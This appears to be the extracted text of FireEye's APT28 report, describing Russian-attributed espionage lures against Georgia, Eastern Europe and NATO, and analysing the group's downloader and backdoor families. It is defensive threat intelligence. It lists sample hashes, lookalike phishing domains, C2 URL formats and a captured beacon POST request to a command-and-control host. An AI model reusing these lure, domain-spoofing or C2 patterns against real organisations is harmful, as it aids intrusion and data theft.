Defense of Georgias strategic facilities and assets Operative-Technical tasks APT28 made at least two specific attempts to target the MIA. In one case, we identified an APT28 lure from mid-2013 that referenced MIA-related topics and employed malware that attempted to disguise its activity as legitimate MIA email traffic. The lure consisted of a weaponized Excel file that presented a decoy document containing a list of Georgian drivers 3 Georgian Ministry of Internal Affairs website http://police.ge/en/home 4 Queries on the author yielded a LinkedIn page for a person of the same name who serves as a system administrator in Tbilisi. license numbers. The backdoor attempted to establish a connection to a Georgian MIA mail server and communicate via MIA email addresses ending with mia.ge.gov. Once connected to the mail server, APT28s backdoor sent an email message using a subject line related to drivers licenses (in Georgian), and attached a file containing system reconnaissance information. This tactic could allow APT28 to obtain data from the MIAs network through a less-monitored route, limiting the MIA network security departments abilities to detect the traffic. In the second example of MIA targeting, an APT28 lure used an information technology-themed decoy document that included references to the Windows domain MIA Users\Ortachala (Figure 1). This probably referred to the MIA facility in the Ortachala district of Tbilisi, Georgias capital city. The decoy document also contains metadata listing MIA as the company name and Beka Nozadze4 as an author, a possible reference to a system administrator in Tbilisi. The text of the document purports to provide domain and user group setup APT28 made at least two specific attempts to target the Georgian Ministry of Internal Affairs. Georgian Ministry of Internal Affairs (MIA) APT 28: A Window into Russias Cyber Espionage Operations? 9 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? Figure 1: Georgian MIA-related decoy information for internal Windows XP and Windows 7 systems. APT28 possibly crafted this document to appear legitimate to all MIA system users and intended to breach the MIA network specifically using the embedded malware. APT28 Targeting of the Georgian Ministry of Defense APT28 also appeared to target Georgias MOD along with a U.S. defense contractor that was training the Georgian military. APT28 used a lure document that installed a SOURFACE downloader (further discussed in the Malware section) and contained a listing of birthdays for members of a working group between the Georgian MOD and the U.S. defense contractor. The U.S. contractor was involved in a working group to advise the MOD and Georgian Armed Forces, assess Georgias military capabilities, and develop a military training program for the country. 10 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? Figure 2: Excerpt of APT28s letter to a journalist writing on Caucasus-related issues We believe that APT28s targeting of the MOD aligns with Russian threat perceptions. The growing U.S.-Georgian military relationship has been a source of angst for Russia. Georgia and Russia severed diplomatic relations following the Russia-Georgia War in 2008, and Georgia has since sought to align itself more closely with western security organizations. Additionally, in June 2014, despite Russias vocal objections, Georgia, along with Ukraine and Moldova, signed association accords with the EU.5 This move placed all three countries more firmly in the EUs political, economic, and security spheres of influence. Georgian military security issues, particularly with regard to U.S. cooperation and NATO, provide a strong incentive for Russian state-sponsored threat actors to steal information that sheds light on these topics. APT28 Targeting a Journalist Covering the Caucasus Another one of APT28s lures appeared to target a specific journalist covering issues in the Caucasus region. In late 2013, APT28 used a lure that contained a letter addressing a journalist by his first name and claiming to originate from a Chief Coordinator in Reason Magazines Caucasian Issues Department - a division that does not appear to exist.6 (Reason Magazine is a US-based magazine) The letter welcomed the individual as a contributor and requested topic ideas and identification information in order to establish him at the magazine. In the background, the decoy document installed a SOURFACE backdoor on the victims system. We wish our cooperation will be both profitable and trusted. Our aim in the Caucasian region is to help people who struggle for their independence, liberty and human rights. We all know, that world is often unfair and cruel, but all together we can make it better. Send your articles on this email in Russian or English, please. There are some difficulties with Caucasian languages, but well solve the problem pretty soon, I hope. 5 The EUs Association Agreements with Georgia, the Republic of Moldova and Ukraine. European Union Press Release Database. 23 June 2014. Web. http://e uropa.eu/rapid/press-release_MEMO-14-430_en.htm 6 We attempted to identify candidate journalists in the country. One of these was a Georgian national of Chechen descent, whose work appears to center on Chechen and human rights issues. Ultimately, however, we cannot confirm the identity of the target(s). Targeting journalists could provide APT28 and its sponsors with a way to monitor public opinion, identify dissidents, spread disinformation, or facilitate further targeting. 11 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? The body of the letter suggests that APT28 actors are able to read at least two languages Russian and English. The grammar of the letter also indicates that English is not the authors first language, despite it purportedly originating from a US-based magazine. This implies that Russian may be the APT28 authors preferred language. Targeting journalists could provide APT28 and its sponsors with a way to monitor public opinion, identify dissidents, spread disinformation, or facilitate further targeting. Several other nation states are suspected of targeting journalists and dissidents to monitor their activity, including China and Iran.7,8 Journalists in the Caucasus working on Caucasus independence issues would be a prime target for intelligence collection for Moscow. Journalists critical of the Kremlin have long been targets of surveillance and harassment, and a number of governments and human rights organizations have publicly criticized the government for its treatment of journalists and its increasing consolidation of control over the media.9 APT28s Other Targets in the Caucasus We have seen APT28 register at least two domains mimicking the domains of legitimate organizations in the Caucasus, as shown in the table below. One APT28 domain imitated a key Chechen-focused news website, while the other appeared to target members of the Armenian military by hosting a fake login page. Of particular note, the Kavkaz Center is a Chechen-run website designed to present an alternative view to the long-running conflict between Russia and Chechen separatists. In 200410 and 2013,11 Russias Foreign Minister voiced his displeasure that a Swedish company continues to host the Kavkaz Center website. 7 Moran, Ned, Villeneuve, Nart, Haq, Thofique, and Scott, Mike.
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Operation Saffron Rose.
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Operation Saffron Rose. FireEye. 13 May 2014. Web. http://www.fireeye.com/blog/technical/ malware-research/2014/05/operation-saffron-rose.html 8 The New York Times publicly disclosed their breach by APT12, which they assess was motivated by the China-based actors need to know what the newspaper was publishing about a controversial topic related to corruption and the Chinese Communist Partys leadership. 9 Russia. Freedom House Press Release. 2013. Web. http://www.freedomhouse.org/report/freedom-press/2013/russia.VD8fe9R4rew 10Chechen website promotes terror: Lavrov. UPI. 16 November 2014. Web. http://www.upi.com/Top_News/2004/11/16/Chechen-website-promotes- terror-Lavrov/UPI-11601100627922/ 11Lavrov urges Sweden to ban Chechen website server The Voice of Russia. 15 May 2013. Web. http://voiceofrussia.com/news/2013_05_15/Lavrov-urges- Sweden-to-ban-Chechen-website-server/ Table 1: Examples of APT28 domains imitating organizations in the Caucasus APT28 Domain Real Domain kavkazcentr[. ]info The Kavkaz Center / The Caucasus Center, an international Islamic news agency with coverage of Islamic issues, particularly Russia and Chechnya (kavkazcenter.com) rnil[. ]am Armenian military (mil.am) 12 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? E astern European countries political and military postures are traditionally core Russian government interests. The Kremlin has long regarded the former Soviet Republics and satellite states as in its sphere of economic, political, and military interest. Over the past two decades, as many of these states joined NATO and the EU, Russia has attempted to regain its influence in the region. Many of APT28s targets parallel this continued focus on Eastern European governments and militaries. APT28 Targets Eastern European Government Organizations We have evidence that APT28 made at least two attempts to compromise Eastern European government organizations: In a late 2013 incident, a FireEye device deployed at an Eastern European Ministry of Foreign Affairs detected APT28 malware in the clients network. More recently, in August 2014 APT28 used a lure (Figure 3) about hostilities surrounding a Malaysia Airlines flight downed in Ukraine in a probable attempt to compromise the Polish government. A SOURFACE sample employed in the same Malaysia Airlines lure was referenced by a Polish computer security company in a blog post.12 The Polish security company indicated that the sample was sent to the government, presumably the Polish government, given the companys location and visibility. 12 MHT, MS12-27 Oraz malware.info MalwarePrevenity. 11 August 2014. Web. http://malware.prevenity.com/2014/08/malware-info.html Figure 3: Decoy MH17 document probably sent to the Polish government APT28 TARGETING OF EASTERN EUROPEAN GOVERNMENTS AND MILITARIES 13 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? APT28 has registered domains similar to those of legitimate Eastern European news sites and governments, listed in Table 2. These domain registrations not only suggest that APT28 is interested in Eastern European political affairs, but also that the group targets Eastern European governments directly. In addition, APT28 used one domain for command and control sessions (baltichost[. ]org) that was themed after the Baltic Host exercises. Baltic Host is a multinational logistics planning exercise, hosted annually since 2009 by one of the three Baltic States (Estonia, Latvia, and Lithuania, all three of which are on Russias border) on a rotational basis. In June 2014, this event was integrated with a larger U.S. Army training event, and focused on exercises to improve interoperability with regional allies and partners.13, 14 This domain registration suggests that APT28 sought to target individuals either participating in the exercises or interested in Baltic military and security matters. Such targets would potentially provide APT28 with sensitive tactical and strategic intelligence concerning regional military capabilities and relationships. These exercises are a particular point of interest in Moscow: pro- Kremlin press cited Russias interpretation of these military exercises and NATOs involvement as a sign of aggression, and Russias Foreign Minister publicly stated that the exercise was a demonstration of hostile intention.15 Table 2: Examples of APT28 domains imitating legitimate Eastern European organization names APT28 Domain Real Domain standartnevvs[. ]com Bulgarian Standart News website (standartnews.com) novinitie[. ]com, n0vinite[. ]com Bulgarian Sofia News Agency website (novinite.com) qov[.]hu[. ]com Hungarian government domain (gov.hu) q0v[. ]pl, mail[.]q0v[. ]pl Polish government domain (gov.pl) and mail server domain (mail.gov.pl) poczta.mon[.]q0v[. ]pl Polish Ministry of Defense mail server domain (poczta.mon.gov.pl) 13 Saber Strike and Baltic Host kick off in Latvia, Lithuania and Estonia. Estonian Defense Forces. 9 June 2014. Web. 11 June 2014. http://www.mil.ee/en/ news/8251/saber-strike-and-baltic-host-kick-off-in-latvia,-lithuania-and-estonia 14 Baltic Host 2014 rendering host nation support for the training audience of Exercise Saber Strike 2014 and repelling faked cyber-attacks. Republic of Lithuania Ministry of National Defense. 12 June 2014. Web. http://www.kam.lt/en/news_1098/current_issues/baltic_host_2014_rendering_host_nation_ support_for_the_training_audience_of_exercise_saber_strike_2014_and_repelling_faked_cyber-attacks.html 15 Tanks, troops, jets: NATO countries launch full-scale war games in Baltic. Russia Today. 9 June 2014. Web. http://rt.com/news/164772-saber-strike- exercise-nato/ We have evidence that APT28 made at least two attempts to compromise Eastern European government organizations. 14 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? A PT28s lures and domain registrations also demonstrate their interest in NATO and other European security organizations. NATO remains a chief Russian adversary, or in the words of Russias 2010 military doctrine, a main external military danger particularly as it moves closer to the borders of the Russian Federation.16 As the traditional western counterweight to the Soviet Union, Russia regards NATO, particularly NATOs eastward expansion, as a threat to Russias strategic stability. APT28 also registered a domain name imitating the Organization for Security and Cooperation in Europe (OSCE), an intergovernmental organization that has cited widespread fraud in numerous Russian state elections. Insider information about NATO, the OSCE and other security organizations would inform Russian political and military policy. Several of the domains APT28 registered imitated NATO domain names, including those of NATO Special Operations Headquarters and the NATO Future Forces Exhibition. We also observed a user that we suspect works for NATO HQ submit an APT28 sample to VirusTotal, probably as a result of receiving a suspicious email. Table 3: Examples of APT28 domains imitating legitimate NATO and security websites APT28 Domain Real Domain nato.nshq[. ]in NATO Special Operations Headquarters (nshq.nato.int) natoexhibitionff14[. ]com NATO Future Forces 2014 Exhibition Conference (natoexhibition.org) login-osce[. ]org Organization for Security and Cooperation in Europe (osce.org) 16 The Military Doctrine of the Russian Federation, approved by Presidential edict on 5 February 2010. APT28 TARGETING OF NATO AND OTHER EUROPEAN SECURITY ORGANIZATIONS 15 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? Figure 5: Ankara Military Attache Corps decoy document APT28 also demonstrated an interest in defense attaches working in European countries. We identified an APT28 lure containing a decoy document with a list of British officers and U.S. and Canadian military attachs in London. Finally, APT28 used a lure that contained an apparent non-public listing of contact information for defense attachs in the Ankara Military Attach Corps (AMAC), which appears to be a professional organization of defense attachs in Turkey. Figure 4: Decoy document used against military attaches in 2012 16 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? APT28 Targets European Defense Exhibitions In addition to targeting European security organizations and governments, it appears that APT28 is targeting attendees of European defense exhibitions. Some of the APT28- registered domains imitated those of defense events held in Europe, such as the Farnborough Airshow 2014, EuroNaval 2014, EUROSATORY 2014, and the Counter Terror Expo. In September 2014, APT28 registered a domain (smigroup- online.co[. ]uk) that appeared to mimic that for the SMi Group, a company that plans events for the Defence, Security, Energy, Utilities, Finance and Pharmaceutical sectors. Among other events, the SMi Group is currently planning a military satellite communications event for November 2014. Targeting organizations and professionals involved in these defense events would likely provide APT28 with an opportunity to procure intelligence pertaining to new defense technologies, as well as the victim organizations operations, communications, and future plans. Targeting organizations and professionals involved in these defense events would likely provide APT28 with an opportunity to procure intelligence pertaining to new defense technologies. 17 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? A PT28 has targeted a variety of organizations that fall outside of the three themes we highlighted above. However, we are not profiling all of APT28s targets with the same detail because they are not particularly indicative of a specific sponsors interests. They do indicate parallel areas of interest to many governments and do not run counter to Russian state interests. Other probable APT28 targets that we have identified: Norwegian Army (Forsvaret) Government of Mexico Chilean Military Pakistani Navy U.S. Defense Contractors European Embassy in Iraq Special Operations Forces Exhibition (SOFEX) in Jordan Defense Attaches in East Asia Asia-Pacific Economic Cooperation (APEC) Al-Wayi News Site OTHER APT28 TARGETS ARE CONSISTENT WITH NATION STATE INTERESTS INTERNATIONAL ORGANIZATION European Commission UN Office for the Coordination of Humanitarian Affairs APEC NATO OSCE World Bank OTHER Hizb ut-Tahir Chechnya Global Diplomatic Forum Military Trade Shows KEY APT28 Registered Domains Lure Document Phishing Email APT 28: A Window into Russias Cyber Espionage Operations? 18 fireeye.com KEY APT28 Registered Domains Lure Document Phishing Email US DEFENSE ATTACHES AND US DEFENSE CONTRACTORS MEXICAN GOVERNMENT CANADIAN DEFENSE ATTACHES CHILE AN M ILI TA RY SO U TH A FR IC AN D IR C O (M FA ) U G AN D AN N G O BULG ARIAN NEW S W EBSITES DEFENSE ATTACHES IN TURKEY AFGHANI NEW S W EBSITE PAKASTANI MILITARY IRANIAN ACADEMICS EUROPEAN EMBASSY IN IRAQ EMIRATI NEWS WEBSITE DEFENSE ATTACHES IN CHINA DEFENSE ATTACHES IN SOUTH KOREA DEFENSE ATTACHES IN JAPAN H U N G ARIAN G O VERN M EN T CYPRIOT NEWS ARTICLE GEORGIAN GOVERNMENT ARMENIAN M ILI TA RY UZ BE KI M FA KA VK AZ C EN TE R PO LI SH G O VE RN M EN T C RO AT IA N U N IV ER SI TYUK DEFENSE ATTACHES NO RW EG IAN M ILITARY 19 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? APT28 MALWARE INDICATES SKILLED RUSSIAN DEVELOPERS A PT28s tools are suggestive of the groups skills, ambitions, and identity. Our analysis of some of the groups more commonly used tools indicates that APT28 has been systematically updating their tools since 2007. APT28 is most likely supported by a group of developers creating tools intended for long-term use and versatility, who make an effort to obfuscate their activity. This suggests that APT28 receives direct ongoing financial and other resources from a well-established organization, most likely a nation state government. APT28s malware settings suggest that the developers have done the majority of their work in a Russian language build environment during Russian business hours, which suggests that the Russian government is APT28s sponsor. Some of APT28s more commonly used tools are the SOURFACE downloader, its second stage backdoor EVILTOSS, and a modular family of implants that we call CHOPSTICK. SOURFACE: This downloader is typically called Sofacy within the cyber security community. However because we have observed the name Sofacy used to refer to APT28 malware generally (to include the SOURFACE dropper, EVILTOSS, CHOPSTICK, and the credential harvester OLDBAIT), we are using the name SOURFACE to precisely refer to a specific downloader. This downloader obtains a second-stage backdoor from a C2 server. CORESHELL is an updated version of SOURFACE. EVILTOSS: This backdoor has been delivered through the SOURFACE downloader to gain system access for reconnaissance, monitoring, credential theft, and shellcode execution. CHOPSTICK: This is a modular implant compiled from a software framework that provides tailored functionality and flexibility. Our analysis of some of the groups more commonly used tools indicates that APT28 has been systematically updating their malware since 2007. 20 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? A number of the malware variants that we profile below, especially the CHOPSTICK family, demonstrate formal coding practices indicative of methodical, diligent programmers. The modularity of CHOPSTICK alone, with its flexible and lasting platform, demonstrates planning for long-term use and versatility. We have also noted that APT28 tailors implants to their target environments, configuring them to use local network resources such as email servers. APT28 has attempted to obfuscate their code and implement counter-analysis techniques: Figure 6: Typical deployment of SOURFACE ecosystem Spearphishing Email Document with exploit Dropper malware SOURFACE downloader Deploys 2nd stage droppers 2nd stage implant Obtains 2nd stage C2 Server One of the latest samples of CORESHELL includes counter-reverse engineering tactics via unused machine instructions. This would hinder static analysis of CORESHELL behavior by creating a large amount of unnecessary noise in the disassembly. A number of CORESHELL droppers also conduct runtime checks, attempting to determine if they are executing in an analysis environment, and if so, they do not trigger their payloads. Many samples across the SOURFACE/ CORESHELL, CHOPSTICK, and EVILTOSS 21 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? malware families obfuscate strings that are decoded at runtime. Two of the malware families (SOURFACE/CORESHELL and EVILTOSS) use the same decryption sequence and similar algorithms for string encoding and decoding. These families encode their strings at compile time using a custom stream cipher. From a high level, these ciphers share a similar design across the malware families but differ slightly in the internal arithmetic operations. APT28 has employed RSA encryption to protect files and stolen information moved from the victims network to the controller. APT28 has made incremental and systematic changes to the SOURFACE downloader and its surrounding ecosystem since as early as 2007. These changes indicate a long-standing and dedicated development effort behind APT28. We have observed samples of the SOURFACE downloader compiled between 2007 and 2014. We call SOURFACE (samples are frequently named netids.dll) a first stage downloader because its primary job is to retrieve a second stage payload from a C2 server. Until 2013, the SOURFACE downloader used hard-coded IP addresses for C2 communications, whereas the future CORESHELL samples use domains. EVOLUTION OF SOURFACE ECOSYSTEM INDICATES SYSTEMATIC DEVELOPMENT WHAT IS A MALWARE ECOSYSTEM? First, a malware family is a collection of malware in which each sample shares a significant amount of code with all of the others. There are exceptions: for example, some files contain public and standard code libraries that we do not take into consideration when making a family determination. A malware ecosystem is a group of malware families that work together to perform the same objective. Perhaps the simplest and most typical ecosystem is a dropper and a backdoor that are used together. They may not share the same code structure, but they are related because one drops and installs the other. The ecosystem surrounding the SOURFACE downloader frequently consists of a dropper, which installs SOURFACE. The SOURFACE downloader then receives another dropper from its C2 server, and this second dropper installs a second stage backdoor, which is usually EVILTOSS. 22 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? In April 2013, based on compile time, the group began to make significant alterations to the SOURFACE downloader. They started by changing the compiled DLL name to coreshell.dll and making minor changes to the network communications, as seen in Figure 7. The hostname, volume serial number and OS version data are encoded in the new URL format. As seen in the table below, the SOURFACE/ CORESHELL developers also made other modifications that changed the exported function name and file size over time. 17 SOURFACE with minor changes to network communications (see Figure 7). 18 Basic anti-debug measures added (process listing, rand timing, is DebuggerPresent). 19 Switches from loading a secondary DLL (netui.dll/WinIDS.dll) to uploading the contents of temp\chkdbg.log. 20 Statically links msvcrt library. 21 Statically links msvcrt library and the strings used to identify the imported libraries and functions are reversed prior to being used, then reversed back after use. 22This version added assembly level obfuscation, which slows down analysis. This variant requires the OS to be at least Windows Vista. Table 4: Evolution of SOURFACE downloader over time MD5 Size Compile Date Export Name Notes 272f0fde35dbdfccbca1e33373b3570d 11264 2013-04-16 10:49:25 UTC Init1 17 8b92fe86c5b7a9e34f433a6fbac8bc3a 14848 2013-08-06 07:53:03 UTC Initialize 18 9eebfebe3987fec3c395594dc57a0c4c 12800 2013-08-14 10:48:59 UTC Initialize 19 da2a657dc69d7320f2ffc87013f257ad 12800 2013-08-21 07:52:10 UTC Initialize Same as previous. 1259c4fe5efd9bf07fc4c78466f2dd09 12800 2013-10-03 09:21:10 UTC Initialize Same as previous. 3b0ecd011500f61237c205834db0e13a 43520 2014-02-13 16:29:36 UTC Applicate 20 5882fda97fdf78b47081cc4105d44f7c 45056 2014-05-13 15:18:24 UTC Applicate 21 791428601ad12b9230b9ace4f2138713 45056 2014-05-13 16:42:26 UTC Applicate Same as previous. ead4ec18ebce6890d20757bb9f5285b1 45056 2014-07-25 15:44:04 UTC Applicate Same as previous. 48656a93f9ba39410763a2196aabc67f 112640 2014-07-30 11:13:24 UTC Applicate 22 8c4fa713c5e2b009114adda758adc445 112640 2014-07-30 11:13:24 UTC Applicate Same as previous. Figure 7: Example of modified SOURFACE vs. CORESHELL communications SOURFACE URL for a sample compiled April 2013: http://[hostname]/book/cgi-bin/brvc.cgi?WINXPSP3c95b87a4-05_01 CORESHELL URL for a sample compiled April 2013: http://[hostname]/xh/ch.cgi?enhkZm1GNmY1YWg0eGcxMGQ1MDUwMQ 23 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? Figure 8: NATO-themed decoy delivered with possible EVILTOSS predecessor from 2004 Variants of the SOURFACE second stage backdoor, EVILTOSS, share some code similarities with SOURFACE. However, it contains more capabilities, including the ability to provide access to the file system and registry, enumerate network resources, create processes, log keystrokes, access stored credentials, and execute shellcode. The backdoor encrypts data that it uploads with an RSA public key. Many of its variants we have seen are named netui.dll. EVILTOSS variants may use the Simple Mail Transfer Protocol (SMTP) to send stolen data in an attachment named detaluri. dat. The backdoor attaches this file to a preformatted email and sends it out through a victims mail server. Interestingly, we found an antivirus report from 200423 detailing what appears to be an early variant of EVILTOSS. The backdoor was installed alongside the NATO-themed decoy document depicted in Figure 8. The backdoor sent data via SMTP to nato_smtpmail[. ]ru and received its tasking via POP from nato_popmail[. ]ru. Although we have not conclusively attributed this sample to APT28, it does suggest the possibility that APT28 has been operating since as early as 2004.24 23 http://ae.norton.com/security_response/print_writeup.jsp?docid2004-081915-1004-99 24 Although the malware family and interest in NATO make it likely that APT28 was involved, we cannot conclusively attribute this sample to APT28 based on these factors alone. We have no evidence that they controlled the C2 for this malware or were using EVILTOSS in 2004. APT28 could have possibly obtained this source code from another group of actors. Also, malware can be passed from group to group. The other malware that we associate with APT28 in this paper is more strongly attributed to the group using additional factors, some of which we mention in Appendix A. In April 2013, based on compile time, the group began to make significant alterations to the SOURFACE downloader. 24 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? D uring our research, we discovered that APT28 uses a backdoor developed using a modular framework. We call this backdoor CHOPSTICK, a somewhat ironic name that comes from our semi-random name generator. The modular design allows flexible options for compiling variants with different capabilities as needed, as well as deploying additional capabilities at runtime. This allows the developers to make targeted implants, including only the capabilities and protocols necessary for a specific environment. Such a modular framework suggests the group has had an organized development effort since as early as 2007. A formal development environment, in which code is versioned and well-organized, would almost certainly be required to track and define the various modules that can be included in the backdoor at compile time. CHOPSTICK variants may move messages and information using at least three methods: 1. Communications with a C2 server using HTTP. These protocols are covered in more detail in Appendix D. 2. Email sent through a specified mail server. One CHOPSTICK v1 variant contained modules and functions for collecting keystroke logs, Microsoft Office documents, and PGP files. The monitoring for new files of interest is performed by a Directory Observer module. In one sample this information was intended to be sent via SMTP using a Georgian MIA mail server. It used one of four embedded sender email addresses (mia.gov.ge) to send files via email to another email address on the same mail server. All information required for the email was hardcoded in the backdoor. 3. Local copying to defeat closed networks. One variant of CHOPSTICK focuses on apparent air gap / closed network capabilities by routing messages between local directories, the registry and USB drives. A modular development framework suggests the group has had an organized development effort since as early as 2007. MODULAR IMPLANTS INDICATE A FORMAL DEVELOPMENT ENVIRONMENT 25 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? D uring our research into APT28s malware, we noted two details consistent across malware samples. The first was that APT28 had consistently compiled Russian language settings into their malware. The second was that malware compile times from 2007 to 2014 corresponded to normal business hours in the UTC 4 time zone, which includes major Russian cities such as Moscow and St. Petersburg. Use of Russian and English Language Settings in PE Resources PE resources include language information that can be helpful if a developer wants to show user interface items in a specific language.25 Non-default language settings packaged with PE resources are dependent on the developers build environment. Each PE resource includes a locale identifier with a language ID composed of a primary language identifier indicating the language and a sublanguage identifier indicating the country/region.26 At the time of the writing of this paper, we had identified 103 malware samples that were both attributed to APT28 and contained PE resources. Table 5 shows the locale identifiers27 with associated language and country/region for these samples. Table 5: Locale and language identifiers associated with APT28 malware Locale ID Primary language Country/Region Number of APT28 samples 0x0419 Russian (ru) Russia (RU) 59 0x0409 English (en) United States (US) 27 0x0000 or 0x0800 Neutral locale / System default locale language Neutral 16 0x0809 English (en) United Kingdom (GB) 1 APT28 MALWARE INDICATES RUSSIAN SPEAKERS IN A RUSSIAN TIME ZONE 25Microsoft Developer Network Multiple Language Resources http://msdn.microsoft.com/en-us/library/cc194810.aspx 26, 27 Microsoft Developer Network Language Identifier Constants and Strings http://msdn.microsoft.com/en-us/library/dd318693.aspx 26 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? The samples with Russian language settings were compiled between late 2007 and late 2013, as depicted in Figure 9. This consistency over a long timeframe suggests that the developers of APT28 malware were using a build environment Figure 9: Number of APT28 samples with Russian language settings by compile month 2007 2008 2009 2010 2011 2012 2013 December March May August February May September February March August September October November December April June September December April May June July October December January July August October November December 0 1 2 3 4 5 6 7 8 9 with Russian language settings at least some of the time and made no effort to obscure this detail. Overall, the locale IDs suggest that APT28 developers can operate in both Russian and English. 27 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? Compile Times Align with Working Hours in Moscow and St. Petersburg Of the 140 malware samples that we have attributed to APT28 so far, over 89 were compiled between 0400 and 1400 UTC time, as depicted in Figure 10. Over 96 were compiled between Monday and Friday. This parallels the working hours in UTC0400 (that is, compile times begin about 8AM and end about 6PM in this time zone). This time zone includes major Russian cities such as Moscow and St. Petersburg. Figure 10: Compile Times of APT28 malware in UTC Time 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 FR EQ U EN C Y 20 18 16 14 12 10 8 6 4 2 Moscow business hours TIME OF DAY (UTC) 13:00 14:00 15:00 16:00 28 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? We started researching APT28 based on activity we observed on our clients networks, similar to other targeted threat groups we have identified over time. We assess that APT28 is most likely sponsored by the Russian government. We summarize our key observations about APT28 in Figure 11 below. APT28s characteristicstheir targeting, malware, language, and working hourshave led us to conclude that we are tracking a focused, long- standing espionage effort. Given the available data, we assess that APT28s work is sponsored by the Russian government. CONCLUSION MALWARE Evolves and Maintains Tools for Continued, Long-Term Use Uses malware with flexible and lasting platforms Constantly evolves malware samples for continued use Malware is tailored to specific victims environments, and is designed to hamper reverse engineering efforts Development in a formal code development environment Various Data Theft Techniques Backdoors using HTTP protocol Backdoors using victim mail server Local copying to defeat closed/air gapped networks TARGETING Georgia and the Caucasus Ministry of Internal Affairs Ministry of Defense Journalist writing on Caucasus issues Kavkaz Center Eastern European Governments Militaries Polish Government Hungarian Government Ministry of Foreign Affairs in Eastern Europe Baltic Host exercises Security-related Organizations NATO OSCE Defense attaches Defense events and exhibitions RUSSIAN ATTRIBUTES Russian Language Indicators Consistent use of Russian language in malware over a period of six years Lure to journalist writing on Caucasus issues suggests APT28 understands both Russian and English Malware Compile Times Correspond to Work Day in Moscows Time Zone Consistent among APT28 samples with compile times from 2007 to 2014 The compile times align with the standard workday in the UTC 4 time zone which includes major Russian cities such as Moscow and St. Petersburg Figure 11: Summary of key observations about APT28 29 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? APPENDIX A: DISTINGUISHING THREAT GROUPS We use the term threat group to refer to actors who work together to target and penetrate networks of interest. These individuals may share the same set of tasks, coordinate targets, and share tools and methodology. They work together to gain access to their targets and steal data. The art of attributing disparate intrusion activities to the same threat group is not always simple. Different groups may use similar intrusion methodologies and common tools, particularly those that are widely available on the Internet, such as pwdump, HTran, or Gh0st RAT. There may be overlaps between groups caused by the sharing of malware or exploits they have authored, or even the sharing of personnel. Individual threat actors may move between groups either temporarily or permanently. A threat actor may also be a private citizen who is hired by multiple groups. Multiple groups, on occasion, compromise the same target within the same timeframe. Distinguishing one threat group from another is possible with enough information, analytical experience, and tools to piece it all together. We can analyze multiple incidents and tell by the evidence left behind that a given incident was the result of one threat group and not another. Threat actors leave behind various forensic details. They may send spear phishing emails from a specific IP address or email address. Their emails may contain certain patterns files have specific names, MD5 hashes, timestamps, custom functions, and encryption algorithms. Their backdoors may have command and control IP addresses or domain names embedded. These are just a few examples of the myriad of forensic details that we consider when distinguishing one threat group from another. At the most basic level, we say that two intrusion events are attributed to the same group when we have collected enough indicators to show beyond a reasonable doubt that the same actor or group of actors were involved. We track all of the indicators and significant linkages associated with identified threat groups in a proprietary database that comprises millions of nodes and linkages between them. In this way, we can always go back and answer why we associated cyber threat activity with a particular group. 30 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? APPENDIX B: TIMELINE OF APT28 LURES YEAR LURE TOPIC MALWARE 2010 Irans work with an international organization (internal document) SOURFACE 2011 File named military cooperation.doc SOURFACE, OLDBAIT 2011 Georgian language IT document for Ministry of Internal Affairs (internal document) SOURFACE 2011 USB Disk Security is the best software to block threats that can damage your PC or compromise your personal information via USB storage. SOURFACE 2012 Food security in Africa (Food and nutrition crisis reaches peak but good forecast for 2013) SOURFACE 2012 IDF Soldier Killed and another injured in a Terror Attack SOURFACE 2012 Echo Crisis Report on Portugals forest fires SOURFACE 2012 FBI to monitor Facebook, Twitter, Myspace SOURFACE 2012 Georgia (US state, not the country of Georgia) murder case uncovers terror plot SOURFACE 2012 Military attaches in London (internal document) SOURFACE 2013 South Africa MFA document CHOPSTICK, CORESHELL 2013 John Shalikashvili (Georgian-Polish-American US General) Questionnaire CORESHELL 2013 Asia Pacific Economic Cooperation Summit 2013 reporters (internal document) SOURFACE 2013 Defense Attaches in Turkey (internal document) CHOPSTICK, CORESHELL 2013 Turkish Cypriot news about Syria chemical weapons CHOPSTICK, CORESHELL 2013 Georgian language document about drivers licenses (internal document) EVILTOSS 2013 Apparent Reason Magazine-related lure sent to a journalist CORESHELL 2014 Mandarin language document, possibly related to a Chinese aviation group (non-public document) CORESHELL 2014 Netherlands-Malaysia cessation of hostilities related to Ukraine airline attack CORESHELL 31 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? SOURFACE is a downloader that obtains a second stage backdoor from a C2 server. Over time the downloader has evolved and the newer versions, usually compiled with the DLL name coreshell.dll, are distinct enough from the older versions that we refer to it as SOURFACE/CORESHELL or simply CORESHELL. This appendix focuses on these newer versions. CORESHELL uses two threads to communicate with its C2 server. The first thread sends beacons that contain the process listing of the compromised host. The second thread is responsible for downloading and executing stage APPENDIX C: SOURFACE/CORESHELL two payloads. Messages are sent using HTTP POST requests whose bodies contain encrypted and Base64 encoded data. The encryption algorithm is a custom stream cipher using a six-byte key. Commands from the controller to the CORESHELL implant are encrypted using another stream cipher but this time using an eight-byte key. CORESHELL has used the same user agent string (MSIE 8.0) that SOURFACE previously used, but in more recent samples CORESHELL uses the default Internet Explorer user agent string obtained from the system. Figure 11 shows an example POST request. Figure 11: Example CORESHELL POST request POST /check/ HTTP/1.1 User-Agent: MSIE 8.0 Host: adawareblock.com Content-Length: 58 Cache-Control: no-cache 